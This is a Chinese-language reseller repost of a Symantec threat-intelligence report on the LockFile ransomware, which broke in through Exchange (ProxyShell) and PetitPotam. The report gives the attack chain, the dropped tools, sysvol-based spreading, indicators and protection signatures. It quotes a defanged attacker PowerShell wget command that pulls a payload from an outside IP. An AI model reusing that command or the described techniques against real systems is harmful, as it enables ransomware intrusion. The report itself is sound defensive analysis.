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LockFile：勒索軟體使用微軟Windows伺服器存在的PetitPotam漏洞(CVE-2021-36942)，攻擊 Windows 網域控制器

服務電話：0800-381500　+886 4 23815000 http://www.savetime.com.tw

保安資訊有限公司－－賽門鐵克解決方案專家--原廠新知分享

13日首次發現ProxyShell從209.14.0[.]234被利用。此Twitter推文串中還提到了ProxyShell和LockFile

鏈接。防護資訊已根據此新訊息更新如下。

似乎是一個全新的勒索軟體家族，正被用來攻擊全球各行各業的受害者。

LockFile 勒索軟體於 2021 年 7 月 20 日首次在美國一家金融組織的網路上被觀察到，其最近

一次活動是在 8 月 20 日。LockFile 已在世界各地的組織中被發現，其中大部分受害者位於美國

和亞洲。

有徵兆顯示，攻擊者透過 Microsoft Exchange Server 獲得對受害者網路的存取權限，然後使

用未完全修補的 PetitPotam 漏洞存取網域控制器，然後在整個網路中傳播。目前尚不清楚攻擊者

如何獲得對 Microsoft Exchange Server 的初始存取權限。

受害者來自製造業、金融服務、工程、法律、商業服務以及旅遊和觀光業。

該勒索軟體背後攻擊者使用與LockBit勒索軟體幫派(圖1)使用類似贖金說明設計，並引用

Conti幫派電子郵件地址－－contact@contipauper[.]com。

圖 1. LockFile 贖金說明

前所未見的新型勒索軟體至少已經攻擊了 
10 個組織，而且還在持續進行著

8月23日更新：第三方已確定ProxyShell漏洞利用，為本部落格中早

先確認PowerShell相關命令的潛在攻擊媒介。研究員Kevin Beaumont於8月
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https://twitter.com/VirITeXplorer/status/1428750497872232459
https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429
https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c
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攻擊鏈
Exchange 伺服器受到一種尚未被識別的技術威脅。漏洞被利用時，攻擊者會執行如下 

PowerShell 命令：

powershell wget hxxp://209.14.0[.]234:46613/VcEtrKighyIFS5foGNXH

同一IP地址的其他powershell wget命令使用類似比較後面看似隨機的通訊埠。不知道

PowerShell命令下載了什麼；但是，在開始勒索軟體攻擊之前，攻擊者會在受害者網路上做至少

幾天的持續嘗試存取。

通常在部署勒索軟體之前大約 20 到 30 分鐘，攻擊者會在受感染的 Exchange Server 上安裝

一組工具。這些工具包括：

● 利用 CVE-2021-36942 漏洞（又名PetitPotam）。該代碼似乎是從 https://github.com/zcgonvh/

EfsPotato 複製的。這是在一個名為“efspotato.exe”的檔案中。

● 兩個檔案：active_desktop_render.dll 和 active_desktop_launcher.exe

active_desktop_launcher.exe 是酷狗活動桌面(Active Desktop)的合法版本。該執行檔被用於為了

加載 DLL 搜索攻擊以掛載惡意的 active_desktop_render.dll 檔案。這個 active_desktop_render.dll 檔案

在由 active_desktop_launcher.exe 加載時，會嘗試加載和解密本地目錄中名為“desktop.ini”的檔案

。如果檔案成功加載並解密，則執行檔案中的 shellcode。由於對這些攻擊的調查正在進行中，尚

未檢索到“desktop.ini”的副本進行分析。

然而，加密的 shellcode 很可能會啟動利用 PetitPotam 的 efspotato.exe 檔案。這是一個 NTLM 

中繼攻擊漏洞，低權限攻擊者可以利用它來接管網域控制器。它在微軟8月份的例行週二修補日

版本中得到了修補，據報導，隨後發現該漏洞並未被完全修補。

一旦獲得對本地網域控制器的存取權限，攻擊者就會將 LockFile 勒索軟體以及批次檔和支

持的可執行檔案一起複製到網域控制器上。這些檔案被複製到“sysvol\domain\scripts”目錄中。

當網路用戶端向網域控制器進行身份驗證時，此目錄用於將腳本部署到網路用戶端。這意味著

在複製這些檔案後對網域進行身份驗證的任何用戶端都將執行它們。

會複製以下的檔案到 Sysvol 目錄中：

● Autologin.bat

● Autologin.exe

● Autologin.dll

● Autologin.sys

● Autoupdate.exe

Autoupdate.exe 檔案是 LockFile 負載的一個變數，它對於每個目標組織都是唯一的。

http://www.savetime.com.tw
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942
https://github.com/zcgonvh/EfsPotato
https://github.com/zcgonvh/EfsPotato
https://krebsonsecurity.com/2021/08/microsoft-patch-tuesday-august-2021-edition/?utm_campaign=Feed%3A%20KrebsOnSecurity%20%28Krebs%20on%20Security%29&utm_medium=feed&_hsmi=148529577&_hsenc=p2ANqtz-9-Q86M_LhMermZv3VTYBG80fMMKFQlRvsj6b22s44Y_A72OsxFnX4WslFadDplOE793UWfnc_1j900D2PVIcoZscsrwJqvAnIgDAj5wGcgQwDDrzI&utm_source=feedburner
https://social.technet.microsoft.com/wiki/contents/articles/8548.active-directory-sysvol-and-netlogon.aspx
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Autologin.exe、Autlogin.dll 和 Autologin.sys 檔案都是名為 Kernel Driver Utility (KDU－－https://

github.com/hfiref0x/KDU )的工具包的一部分。Autologin.dll 是“Tanikaze.dll”元件，autologin.exe 是

“Hamakaze”元件。目前尚不清楚攻擊者如何將 KDU 工具與勒索軟體結合使用。無論如何使用

它們，最終都會執行 LockFile 勒索軟體。

是全新的威脅？
在已經百家爭鳴的勒索軟體領域，LockFile 似乎是的新威脅。對該威脅的調查，以及它是否

可能與任何以前見過或已停用的勒索軟體威脅有關，仍在繼續調查。這是一項正在進行的調查

，賽門鐵克（博通(Broadcom－－美國股票代碼：Avgo)企業安全部門）可能會在發現新訊息時更新

此部落格。

保護
賽門鐵克已經於第一時間，採取了以下保護措施來保護客戶免受 LockFile 攻擊：

檔案層防護
● Ransom.Lockfile

● Ransom.CryptoTorLocker

網路層防護
● OS Attack: SMB EFS NTLM Relay Attempt

● Audit: SMB EFS NTLM Relay Attempt 2

● Web Attack: Microsoft Exchange Server RCE CVE-2021-34473

● Web Attack: Microsoft Exchange Server Elevation of Privilege CVE-2021-34523

歡迎造訪賽門鐵克防護公報網站瀏覽最新的防護更新訊息

基於政策(Policy-based)的防護機制
賽門鐵克專門針對重要伺服主機所提供的符合最佳實務準則的保護方案(基於最小權限、最

少資源、主機型入侵預防……等)：Data Center Security，簡稱DCS，其提供給的Exchange及AD 伺

服主機的內建標準政策就能防護 LockFile 加密勒索利用ProxyShell的攻擊。更多DCS參考資訊……

http://www.savetime.com.tw
https://github.com/hfiref0x/KDU
https://github.com/hfiref0x/KDU
https://software.broadcom.com/
https://www.broadcom.com/support/security-center/protection-bulletin
https://www.savetime.com.tw/symantec/DCS.asp
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本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上Symantec原廠公告為準，請知悉。2021/08
原廠網址：https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows

關於作者 

賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其
任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供
分析以幫助客戶應對攻擊。

威脅獵手團隊

入侵指標
檔案雜湊 說明

IP 位址：209.14.0.234

http://www.savetime.com.tw
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows
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◆ 保安資訊被業界公認為最專業的賽門

鐵克解決方案的專家。

◆ 保安資訊的團隊自 1995 年起就專注於

賽門鐵克資訊安全解決方案的銷售、

規劃與整合、技術支援、教育訓練、

顧問服務，特別是提供企業 IT 專業

人員的技能傳承(Knowledge Transfer) 

的效益上，以及比原廠更快速的技術

支援回應，深獲許多中大型企業與組

織的青睞(特別是有 IT Team 的組織)

，長期合作的意願與滿意度極高。

◆ 與許多系統整合或服務公司不同的是

，我們不吝惜分享我們的專業技能與

經驗給顧客的 IT Team，經由常態性

的教育訓練、精簡的快速手冊、標準 

SOP 文件的提供，以及基於比原廠更

孰悉顧客的使用環境與現況的快速回

應的品質，在業界建立扎實的口碑。

◆ 保安資訊一直專注於賽門鐵克領先業

界的資訊系統基礎架構上的安全性與

可用性的解決方案。進而累積了許多

與基礎架構整合的成功經驗，讓導入 

Symantec 解決方方案的成效非常卓越

。我們的顧客都能免除Try & Error 的

時間浪費及不確定的投入或自行摸索

的運作風險。

◆  關於我們：

保安資訊有限公司 
http://www.savetime.com.tw
0800-381500、0936-285588

關於保安資訊：
從協助顧客簡單使用賽門鐵克方案開始，到滿足顧

客需求更超越顧客期望的價值。

更多資訊 請造訪我們的網站  http://www.SaveTime.com.tw
                                                     (好記：幫您節省時間.的公司.在台灣)

http://www.savetime.com.tw
http://www.savetime.com.tw
http://www.SaveTime.com.tw



